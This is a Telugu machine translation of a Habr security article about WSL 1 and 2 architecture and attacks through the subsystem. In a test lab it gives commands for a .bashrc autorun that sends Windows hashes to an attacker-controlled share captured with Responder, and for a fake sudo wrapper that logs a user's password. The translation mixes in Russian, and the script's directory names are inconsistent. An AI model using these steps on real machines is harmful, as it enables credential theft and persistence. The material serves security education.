WSL ప్రయోగాలు. 1 వ భాగము

హలో, హబ్ర్! OTUS అక్టోబర్‌లో కొత్త కోర్సు స్ట్రీమ్‌ను ప్రారంభించింది "Linux సెక్యూరిటీ". కోర్సు ప్రారంభానికి ఎదురుచూస్తూ, మా ఉపాధ్యాయులలో ఒకరైన అలెగ్జాండర్ కొలెస్నికోవ్ రాసిన కథనాన్ని మేము మీతో పంచుకుంటున్నాము.

WSL ప్రయోగాలు. 1 వ భాగము

2016లో, మైక్రోసాఫ్ట్ కొత్త WSL టెక్నాలజీని IT కమ్యూనిటీకి పరిచయం చేసింది (Windows Sకోసం ఉపవ్యవస్థ Linux), ఇది భవిష్యత్తులో సాధారణ మరియు అధునాతన OS వినియోగదారుల మధ్య ప్రజాదరణ కోసం పోరాడుతున్న గతంలో సరిదిద్దలేని పోటీదారులను ఏకం చేయడం సాధ్యపడింది: Windows మరియు Linux. ఈ సాంకేతికత Linuxని అమలు చేయవలసిన అవసరం లేకుండా Windows వాతావరణంలో Linux OS సాధనాలను ఉపయోగించడం సాధ్యపడింది, ఉదాహరణకు, మల్టీ-బూట్ ఉపయోగించి. Habrలో మీరు WSLని ఉపయోగించడం వల్ల కలిగే ప్రయోజనాలను వివరించే పెద్ద సంఖ్యలో కథనాలను కనుగొనవచ్చు. అయితే, దురదృష్టవశాత్తు, ఈ ఆర్టికల్ సృష్టించిన సమయంలో, ఆపరేటింగ్ సిస్టమ్స్ యొక్క అటువంటి సహజీవనం యొక్క భద్రతపై ఎటువంటి అధ్యయనాలు ఈ వనరుపై కనుగొనబడలేదు. దీన్ని సరిదిద్దే ప్రయత్నమే ఈ పోస్ట్. వ్యాసం WSL 1 మరియు 2 ఆర్కిటెక్చర్ల లక్షణాల గురించి మాట్లాడుతుంది మరియు ఈ సాంకేతికతలను ఉపయోగించి సిస్టమ్‌లపై దాడులకు సంబంధించిన అనేక ఉదాహరణలను పరిశీలిస్తుంది. వ్యాసం 2 భాగాలుగా విభజించబడింది. మొదటిది Linux మరియు Windows నుండి ప్రధాన సైద్ధాంతిక దాడి పద్ధతులను అందిస్తుంది. రెండవ కథనంలో పరీక్షా వాతావరణాన్ని ఏర్పాటు చేయడం మరియు దాడులను పునరుత్పత్తి చేయడం వంటివి ఉంటాయి.

WSL 1: నిర్మాణ లక్షణాలు

WSL భద్రతా సమస్యలలో అత్యంత ఖచ్చితమైన డైవ్ కోసం, ఉపవ్యవస్థ అమలుతో అనుబంధించబడిన ప్రధాన సూక్ష్మ నైపుణ్యాలను గుర్తించడం అవసరం. WSL ద్వారా పరిష్కరించబడిన ప్రధాన వినియోగదారు పనులలో ఒకటి Windows OS నడుస్తున్న హోస్ట్‌లో Linux టెర్మినల్ ద్వారా పని చేయగల సామర్థ్యం. అలాగే, అందించబడిన అనుకూలత చాలా స్థానికంగా ఉంది, Linux ఎగ్జిక్యూటబుల్స్ (ELFలు) నేరుగా Windows సిస్టమ్‌లో అమలు చేయబడతాయి. ఈ లక్ష్యాలను సాధించడానికి, Windows 10లో ఒక ప్రత్యేక ఉపవ్యవస్థ సృష్టించబడింది, ఇది నిర్దిష్ట సిస్టమ్ కాల్‌ల సమితిని ఉపయోగించి Linux అప్లికేషన్‌లను అమలు చేయడానికి మిమ్మల్ని అనుమతిస్తుంది - అందువలన, Windowsలో Linux syscals సెట్‌ను మ్యాప్ చేయడానికి ప్రయత్నం చేయబడింది. కొత్త డ్రైవర్లు మరియు కొత్త ప్రాసెస్ ఆకృతిని జోడించడం ద్వారా ఇది భౌతికంగా అమలు చేయబడింది. దృశ్యమానంగా వాస్తుశిల్పం ఇలా ఉంది:

WSL ప్రయోగాలు. 1 వ భాగము

వాస్తవానికి, Linux ఆపరేటింగ్ సిస్టమ్‌తో పరస్పర చర్య అనేక కెర్నల్ మాడ్యూల్స్ మరియు ప్రత్యేక రకమైన ప్రక్రియ ద్వారా నిర్వహించబడింది - pico. పైన ఉన్న రేఖాచిత్రం నుండి, హోస్ట్‌లోని Linux ఉదాహరణలో నడుస్తున్న ప్రక్రియ తప్పనిసరిగా స్థానికంగా ఉండాలని మరియు సాధారణ Windows అప్లికేషన్‌ల వలె అదే వనరులను తప్పనిసరిగా ఉపయోగించాలని మీరు చూడవచ్చు. అయితే దీన్ని ఎలా సాధించాలి? ప్రాజెక్ట్ లో డ్రాబ్రిడ్జ్ Windows కోసం ప్రాసెస్ కాన్సెప్ట్‌లు అభివృద్ధి చేయబడ్డాయి, ఇవి మరొక OS యొక్క అనువర్తనాన్ని అమలు చేయడానికి ఆపరేటింగ్ సిస్టమ్ యొక్క అన్ని అవసరమైన భాగాలను (దాని సంస్కరణను బట్టి) అందించాయి.

ప్రతిపాదిత సారాంశం ఆపరేటింగ్ సిస్టమ్‌పై (ముఖ్యంగా, విండోస్) దృష్టి పెట్టకుండా చేయడం సాధ్యం చేసిందని గమనించండి, దీనిలో మరొక OS యొక్క ప్రక్రియ ప్రారంభించబడుతుందని మరియు సాధారణ విధానాన్ని సూచించింది.

అందువల్ల, పికో ప్రాసెస్‌లోని ఏదైనా అప్లికేషన్ విండోస్ కెర్నల్‌తో సంబంధం లేకుండా రన్ అవుతుంది:

  1. సిస్టమ్ కాల్‌ల అనుకూలత మరియు అనువాద సమస్యలు ప్రత్యేక ప్రొవైడర్లచే పరిష్కరించబడాలి;
  2. సెక్యూరిటీ మానిటర్ ద్వారా యాక్సెస్ నియంత్రణ తప్పనిసరిగా చేయాలి. మానిటర్ కెర్నల్‌లో ఉంది కాబట్టి విండోస్‌కు కొత్త డ్రైవర్ రూపంలో అప్‌గ్రేడ్ అవసరం, అది అటువంటి ప్రక్రియలకు ప్రొవైడర్‌గా పని చేస్తుంది. ప్రోటోటైప్ పికో ప్రక్రియ క్రమపద్ధతిలో క్రింద ప్రదర్శించబడింది:

WSL ప్రయోగాలు. 1 వ భాగము

Linux ఫైల్ సిస్టమ్ కేస్-సెన్సిటివ్ ఫైల్ మరియు డైరెక్టరీ పేర్లను ఉపయోగిస్తుంది కాబట్టి, WSL - VolFS మరియు DriveFSతో పని చేయడానికి 2 రకాల ఫైల్ సిస్టమ్‌లు Windowsకు జోడించబడ్డాయి. VolFS అనేది Linux ఫైల్ సిస్టమ్ యొక్క అమలు, DriveFS అనేది Windows నియమాల ప్రకారం పనిచేసే ఫైల్ సిస్టమ్, కానీ కేస్ సెన్సిటివిటీని ఎంచుకునే సామర్థ్యాన్ని కలిగి ఉంటుంది.

WSL 2

WSL 1 అనేక పరిమితులను కలిగి ఉంది, అది గరిష్ట శ్రేణి విధులను పరిష్కరించడానికి దానిని ఉపయోగించడానికి అనుమతించదు: ఉదాహరణకు, దీనికి 32-బిట్ Linux అప్లికేషన్‌లను అమలు చేయగల సామర్థ్యం లేదు మరియు పరికర డ్రైవర్‌లను ఉపయోగించడం అసాధ్యం. అందువలన, 2020 లో, WSL 2 విడుదల చేయబడింది, ఇది ఉపవ్యవస్థను నిర్మించే విధానాన్ని మార్చింది. WSL 2 అనేది WSL 1 యొక్క వనరుల వినియోగ లక్షణాలకు సరిపోయే ఆప్టిమైజ్ చేయబడిన వర్చువల్ మెషీన్. ఇప్పుడు, Windows OS వినియోగదారు పరిష్కరించిన సమస్యలపై ఆధారపడి, మీరు Linux సబ్‌సిస్టమ్ యొక్క అవసరమైన సంస్కరణను ఎంచుకోవచ్చు. సాధ్యమయ్యే దుర్బలత్వాలను తగ్గించడానికి, Windows 2లో Hyper-V ఆధారంగా WSL 10 అమలు చేయబడింది. ఈ రూపంలో, Windows Linux ఆపరేటింగ్ సిస్టమ్ కెర్నల్‌ను ఒంటరిగా అమలు చేయగల సామర్థ్యాన్ని కలిగి ఉంది. ఈ ప్రాంతంలో విండోస్ డెవలప్‌మెంట్ దిశను చూపించాల్సిన బీటా ఫీచర్‌గా WSL యొక్క వెర్షన్ 1 ప్రవేశపెట్టబడిందని గుర్తుంచుకోవడం విలువ, కాబట్టి హైపర్-వికి మార్పు అనివార్యం. చివరి నిర్మాణం ఇలా కనిపిస్తుంది:

WSL ప్రయోగాలు. 1 వ భాగము

ఈ సంస్కరణలో, Windows మరియు Linux కెర్నల్‌లు వాటి స్వంత వనరులను కలిగి ఉన్నాయి మరియు ఖండన ఫైల్ సిస్టమ్‌లో మాత్రమే ఉంటుంది, కానీ ఈ ఖండన పూర్తి కాలేదు. ఫైల్ సిస్టమ్‌ల మధ్య పరస్పర చర్య 9P ప్రోటోకాల్‌ను ఉపయోగించి పనిచేసే క్లయింట్-సర్వర్ రేపర్ ద్వారా నిర్వహించబడుతుంది.

నేడు మైక్రోసాఫ్ట్ WSL 1 మరియు WSL 2 మధ్య మారే సామర్థ్యాన్ని అందిస్తుంది. రెండు వెర్షన్లు ఉపయోగం కోసం అందుబాటులో ఉన్నాయి.

WSL భద్రత

ప్రస్తుతానికి, ఉపవ్యవస్థల మధ్య కమ్యూనికేషన్‌పై దాడి చేయడానికి చట్టబద్ధమైన OS సాధనాలను ఉపయోగించడం కోసం కొన్ని విధానాలను వివరించే అనేక రచనలు ఉన్నాయి. మేము వ్రాసే సమయంలో దాడుల ఔచిత్యాన్ని తనిఖీ చేయడానికి వారి స్క్రిప్ట్‌లను ఉపయోగిస్తాము. దాడులు మరియు దృశ్యాల సాధారణ జాబితా:

1. ఫైల్ సిస్టమ్ అమలు: యాక్సెస్ హక్కులు, షేర్డ్ డైరెక్టరీల లభ్యత/డేటా ఎక్స్ఛేంజ్ మెకానిజమ్స్.

నుండి యాక్సెస్ నియమాల ఉల్లంఘనలను గుర్తించడానికి పరిశోధన నిర్వహించబడింది Linux FS->Windows FS, Windows FS->Linux FS. టార్గెట్ OSలో ఇచ్చిన ఫైల్‌ను సవరించగల సామర్థ్యాన్ని పరిశోధన ప్రదర్శించింది. ఫైల్ సిస్టమ్‌లలో కొంత భాగాన్ని ప్రత్యామ్నాయం చేయడానికి, నకిలీలను సృష్టించడానికి మరియు తొలగించడానికి కూడా ప్రయత్నాలు జరిగాయి.

దృష్టాంతంలో:

  • A. Windows ఆపరేటింగ్ సిస్టమ్ నుండి దాడి - Linux OS యొక్క / etc డైరెక్టరీ నుండి ఫైళ్లను సవరించడం.
  • B. Linux ఆపరేటింగ్ సిస్టమ్ నుండి దాడి - డైరెక్టరీలలో ఫైళ్ల మార్పు: C:Windows, C:Program Files, C:Users<User>

2. నెట్వర్క్ స్టాక్ యొక్క అమలు.

Windowsలో Linux ఆపరేటింగ్ సిస్టమ్ నుండి దాడుల ఉదాహరణలను ఉపయోగించి పరిశోధన జరిగింది. నెట్‌వర్క్ స్టాక్ యొక్క లక్షణాలు ఉపయోగించబడ్డాయి, అవి వివిధ వనరులపై ప్రమాణీకరణ విధానాలు.

దృష్టాంతంలో:

  • Windows సిస్టమ్‌లో ఆక్రమించబడిన పోర్ట్‌కి యాక్సెస్‌ను తెరవడం
  • తగిన హక్కులు లేకుండా పోర్ట్ తెరవడం
  • Windows ఆపరేటింగ్ సిస్టమ్‌లో elf ఫైల్‌ని ఉపయోగించి రివర్స్ షెల్‌ను అమలు చేస్తోంది.

3. WSL ఉపవ్యవస్థను ఉపయోగించి హానికరమైన సాఫ్ట్‌వేర్ ప్రక్రియల ప్రారంభాన్ని దాచడం.

పరిశోధన ఒక సాధారణ వాస్తవంపై ఆధారపడింది - WSL 1 విషయంలో ఆపరేటింగ్ సిస్టమ్ నుండి చట్టబద్ధమైన ప్రొవైడర్‌ని ఉపయోగించి పనిచేసే మరొక కెర్నల్‌లోని ఈవెంట్‌లను భద్రతా ఉపవ్యవస్థలు అడ్డుకోలేవు. WSL 2 విషయంలో, జరిగే ఈవెంట్‌లను వీక్షించడానికి మార్గం లేదు. తేలికపాటి వర్చువల్ మెషీన్‌లో ప్రత్యేక కెర్నల్‌లో.

దృష్టాంతంలో:

1) సిస్టమ్‌కు రిమోట్ యాక్సెస్ కోసం అప్లికేషన్‌ను ప్రారంభించండి మరియు లాగిన్ చేసిన ఈవెంట్‌లను వీక్షించండి.

WSL 1 ప్రయోగాలు: హాష్ ఇంటర్‌సెప్షన్ (విండోస్)

చివరగా మేము ఆచరణాత్మక భాగానికి వచ్చాము. ముందుగా, మీరు పరీక్ష వాతావరణాన్ని సెటప్ చేయాలి. అన్ని ప్రయోగాలు Windows 10 2004 ఇన్‌స్టాల్ చేయబడిన బెంచ్‌పై నిర్వహించబడతాయి. ఉబుంటు 18.04 చిత్రం WSL కోసం ఆపరేటింగ్ సిస్టమ్ ఇమేజ్‌గా ఎంపిక చేయబడింది. చిత్రం యాదృచ్ఛికంగా ఎంపిక చేయబడింది మరియు మరేదైనా అదే పని చేస్తుంది. స్టాండ్ ఏర్పాటు కోసం ఆదేశాలు:

మీరు మొదట ప్రారంభించాలి powershell.exe నిర్వాహకుడిగా.

WSL 1 కోసం మీరు ఆదేశాలను అమలు చేయాలి:

  1. Enable-WindowsOptionalFeature -Online -FeatureName Microsoft-Windows-Subsystem-Linux #Включить функцию WSL
  2. Invoke-WebRequest -Uri aka.ms/wsl-ubuntu-1804

-OutFile ~/Ubuntu.appx -UseBasicParsing #Загрузить образ Linux из магазина Microsoft

  • Ubuntu.appx install —root #Установим образ
  • Возможно, придется прокликать процесс настройки и создать нового пользователя, который будет иметь меньше прав, чем root. Для наших тестов это будет обычный пользователь sam.
  • Restart-Computer #Перезагрузим
  • స్టాండ్‌ను రీబూట్ చేసిన తర్వాత, మీరు బాష్ కమాండ్‌కు కాల్ చేయవచ్చు. ప్రతిదీ సరిగ్గా పని చేస్తే, మీరు Windows కన్సోల్‌లో ఇలాంటి అవుట్‌పుట్‌ను చూస్తారు:

    WSL ప్రయోగాలు. 1 వ భాగము

    మేము దాడి చేసేవారి మెషీన్‌గా Kali Linux పంపిణీని ఉపయోగిస్తాము; అన్ని మెషీన్‌లు తప్పనిసరిగా ఒకే స్థానిక నెట్‌వర్క్‌లో ఉండాలి.

    Windows మెషీన్‌లో WSLకి మనకు అన్‌ప్రివిలేజ్డ్ యాక్సెస్ ఉందని అనుకుందాం. Linux నుండి కమాండ్‌కి కాల్ చేయడం ద్వారా Linux ఆపరేటింగ్ సిస్టమ్‌పై దాడి చేయడానికి ప్రయత్నిద్దాం. దాడిని అమలు చేయడానికి, మేము సరళమైన ఆటోరన్ టెక్నిక్‌ని ఉపయోగిస్తాము - మేము Linux వాతావరణంలో అమలు చేయడానికి మా స్క్రిప్ట్‌ను జోడిస్తాము. దీన్ని చేయడానికి, మీరు ఫైల్‌ను మార్చాలి .bashrc.

    WSL ఉన్న మెషీన్‌లో మేము అమలు చేస్తాము:

    	1. bash
    	2. Переходим в домашнюю директорию пользователя: cd /home/sam/
    	2. echo  «/home/sam/.attack.sh» >> .bashrc
    	3. echo «icalcs.exe » \\\\attacker_ip\\shareName\\» > /dev/null 2>&1» >> .attack.sh
    	4. chmod u+x .attack.sh
    	5. exit

    Kali Linux మెషీన్‌లో మేము అమలు చేస్తాము:

    1. Responder -I eth0 -rdvw

    Windows మెషీన్‌లో, బాష్‌ని ప్రారంభిద్దాం.

    మేము Kali Linux మెషీన్‌లో ఫలితం కోసం ఎదురు చూస్తున్నాము:

    WSL ప్రయోగాలు. 1 వ భాగము

    ఈ విధంగా, మేము Linux సిస్టమ్‌పై ఆదేశాన్ని అమలు చేయడం ద్వారా WSL సబ్‌సిస్టమ్ ద్వారా Windows యూజర్ హ్యాష్‌లను పొందాము.

    WSL 1 ప్రయోగాలు: వినియోగదారు పాస్‌వర్డ్ పొందడం (Linux OS)

    ఇంకో ప్రయోగం చేద్దాం. ఈ తనిఖీ సమయంలో మేము ఫైల్‌కి జోడిస్తాము .bashrc Linux ఆపరేటింగ్ సిస్టమ్ యూజర్ పాస్‌వర్డ్‌ను పొందేందుకు అనేక ఆదేశాలు.

    బాష్‌ని ప్రారంభించి, ఆదేశాలను నమోదు చేద్దాం:

    1. mkdir .hidden
    2. echo "export PATH=$HOME/.hidden/:$PATH:" >> .bashrc
    3. echo "read -sp "[sudo] password for $USER: " sudopass" > .hidden/sudo
    4. echo "echo """ >> .mysudo/sudo
    5. echo "sleep 2" >> .mysudo/sudo
    6. echo "echo "Sorry, try again."" >> .mysudo/sudo
    7. echo "echo $sudopass >> /home/sam/.mysudo/pass.txt» >> .mysudo/sudo
    8. echo "/usr/bin/sudo $@" >> .mysudo/sudo
    9. chmod +x .mysudo/sudo
    10. exit

    దాడిని విజయవంతంగా పూర్తి చేయడానికి, వినియోగదారు సామ్ Linux టెర్మినల్‌లో sudoకి కాల్ చేయాలి. దీని తరువాత, Linux OS వినియోగదారు పాస్‌వర్డ్ ఫైల్‌లో ఉంటుంది pass.txt:

    WSL ప్రయోగాలు. 1 వ భాగము

    దాడుల అమలు సిద్ధాంతపరమైన సమాచారం కోసం మాత్రమే ఇవ్వబడింది.

    వ్యాసం యొక్క తదుపరి భాగం 9P ప్రోటోకాల్ అమలును వివరిస్తుంది, ఈ ప్రోటోకాల్ కోసం స్కానర్‌ను రూపొందించడాన్ని పరిగణించండి మరియు దానిని ఉపయోగించి దాడిని కూడా నిర్వహిస్తుంది.

    ఉపయోగించిన సాహిత్యం జాబితా

    WSL ప్రయోగాలు. 1 వ భాగము

    ఇంకా చదవండి

    మూలం: www.habr.com

    ఒక వ్యాఖ్యను జోడించండి